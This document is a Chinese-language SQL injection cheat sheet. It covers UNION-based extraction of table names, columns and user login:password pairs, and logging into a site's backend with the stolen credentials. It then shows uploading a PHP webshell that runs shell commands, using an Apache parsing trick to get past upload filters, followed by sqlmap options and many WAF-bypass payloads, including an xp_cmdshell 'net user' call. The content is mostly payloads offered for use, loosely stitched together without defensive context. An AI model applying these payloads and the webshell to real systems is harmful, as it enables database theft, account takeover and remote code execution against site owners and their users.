SQL注入
文章目录
使用UNION进一步注入:union select(Oracle使用union select null,null代替1,2)当列数目不对时,会有错误提示
使用order by语句,当order by的列<=SQL语句的列数目的时候,查询正常.
手工注入一:
使用union select查询,查看新增内容,从下图可以看出,列2的内容是可以被输出到页面上的,所以下面的查询我们都将使用列2
查询数据库信息,使用@@version替代union select中的2
查询数据库使用者信息,使用current_user()替代union select中的2
查询当前数据库名,使用database()代替union select中的2
查询用户名和密码(以下功能只在MySQL5.0版本及以上版本才有*):
- 查询当前数据库所有表的表名:SELECT table_name FROM information_schema.tables
- 查询当前数据库所有表的列名:SELECT column_name FROM information_schema.columns
- 结合两者的查询结果:SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns
- 使用concat函数将表名和列名连接成一个字符串,并且两者之间用‘:’分隔,之所以要这么做是因为我们只有列2才能输出到web页面,其他列的内容无法显示,否则可以直接使用SELECT 1, table_name, column_name,4 FROM information_schema.columns的方式,这边的使用方法取决于第二步的结果
- 查询数据库使用者的用户名和密码:SELECT 1,concat(login,':',password),3,4 FROM users
有注入漏洞的网站获取网站的后台用户名和密码后破解登陆后台,然后在有上传的地方上传木马
上传Webshell并执行代码
使用后台提供的上传图片功能上传WebShell(这边可以上传一句话木马然后使用菜刀连接)
修改WebShell后缀来绕过上传限制(.php3或者.php.test,这边是利用Apache解析漏洞实现绕过)
新建一个Webshell,内容如下:
1 2 3
<?php system($_GET['cmd']); ?>
``
查找上传文件的路径(一般通过抓取返回包来获取上传地址,有时候抓包无法获取的情况下,就要寻找其他方法,火狐的抓包插件Tamper Data),这边先单击图片管理然后单击test标签
在图片上右击查看页面源码,找到图片路径
下面的语法可以用来注释语句:
Myql注入相关
|符号|内容
|:--:|:--:|
|#|Hash语法
|/*|Ctyle语法
|\- -|SQL语法
|;%00|空字节
|`|反引号
表和字段:
检测字段数:
- ORDER BY判断
- 基于错误查询
查询表名:union 盲注
查询列名:union 盲注
绕过引号限制:
1
SELECT * FROM Users WHERE username = 0x61646D696E ### SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)利用CHAR()函数
- 绕过字符串黑名单:使用CONCAT()时,任何个参数为null,将返回null, 推荐使用CONCAT_WS() 。CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。
- 条件语句
- 时间延迟查询:sleep() benchmark()
权限:
- 文件权限:下面的语句可以查询用户读写文件操作权限:
1
SELECT file_priv FROM mysql.user WHERE user = 'username';`;`SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';
- 读取文件:如果用户有文件操作权限可以读取文件
load_file()
- Mysql特有的写法:MySql中,/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */当版本号大于等于该数字,SQL 语句则执行,否则就不执行。
1
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
1 2
- 括号也可以用来绕过过滤空格的情况:`UNION(SELECT(column)FROM(table))`
攻击JavaWeb应用:
- Java中的JSP里边有个特性直接request.getParameter(“Parameter”);去获取请求的数据是不分GET和POST的,而看过我第一期的同学应该还记得我们的Servlet一般都是两者合一的方式去处理的,而在SpringMVC里面如果不指定传入参数的方式默认是get和post都可以接受到。
- 刷新session文件:参数
--flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。 - 自动获取form表单测试:参数
--forms
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。 - 忽略在会话文件中存储的查询结果:参数:
--fresh-queries
.忽略session文件保存的查询,重新查询。 - 使用DBMS的hex函数:参数:
--hex
.有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: - 启发式检测WAF/IPS/IDS保护:参数:
--check-waf
.WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试 - 清理sqlmap的UDF(s)和表:参数:
--cleanup
.清除sqlmap注入时产生的udf与表。 - 使用HTTP参数污染:参数:
-hpp
.HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。 - 测试WAF/IPS/IDS保护:参数:
--identify-waf
.sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别 - 启发式判断注入:参数:
--smart
.有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 - 当order by的列<=SQL语句的列数目的时候,查询正常
- 确认SQL语句使用的列数(union select的列数目要和select语句的列数目一致,否则会报错)
SQL注入中的WAF绕过技术
- 大小写绕过
- 简单编码绕过:比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55也就是U的16进制编码来代替U,union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。
- 注释绕过:这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询。
/?id=1/*union*/union/*select*/select+1,2,3/*
- 分隔重写绕过:适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果。
/?id=1+un/**/ion+sel/**/ect+1,2,3--
;至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。?id=1 ununionion select 1,2,3--
- Http参数污染(HPP):
/?id=1 union select+1,2,3+from+users+where+id=1--
;我们可以重复一次前面的id值添加我们的值来绕过,**&id=**会在查询时变成逗号:/?id=1 union select+1&id=2,3+from+users+where+id=1--
具体分析的话就涉及到查询语句的后台代码的编写了。 - 使用逻辑运算符or/and绕过
- 比较操作符替换:包括!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过。
- 同功能函数替换
- 盲注无需or和and
- 加括号
- 缓冲区移除绕过
绕过Waf
各种编码绕过:
- URL编码绕过
- Unicode编码绕过
- 针对disuczx内置_do_query_safe()的绕过
最新过狗:
- 把空格使用/**/来替换
- and使用a%n%d来替换
- from打乱,就是类似f%u0072om
- agent代理:使用百度或者是谷歌的agent代理(googlebot,Baiduspider)
拆分关键字绕过:
cnseay.com/1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
请求方式差异规则松懈性绕过:
- GET /id=1 union select 1,2,3,4 —拦截
- POST id=1 union select 1,2,3,4 —绕过
冷门函数/标签绕过
- /1.php?id=1and 1=(updatexml(1,concat(0x3a,(select user())),1))
- /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));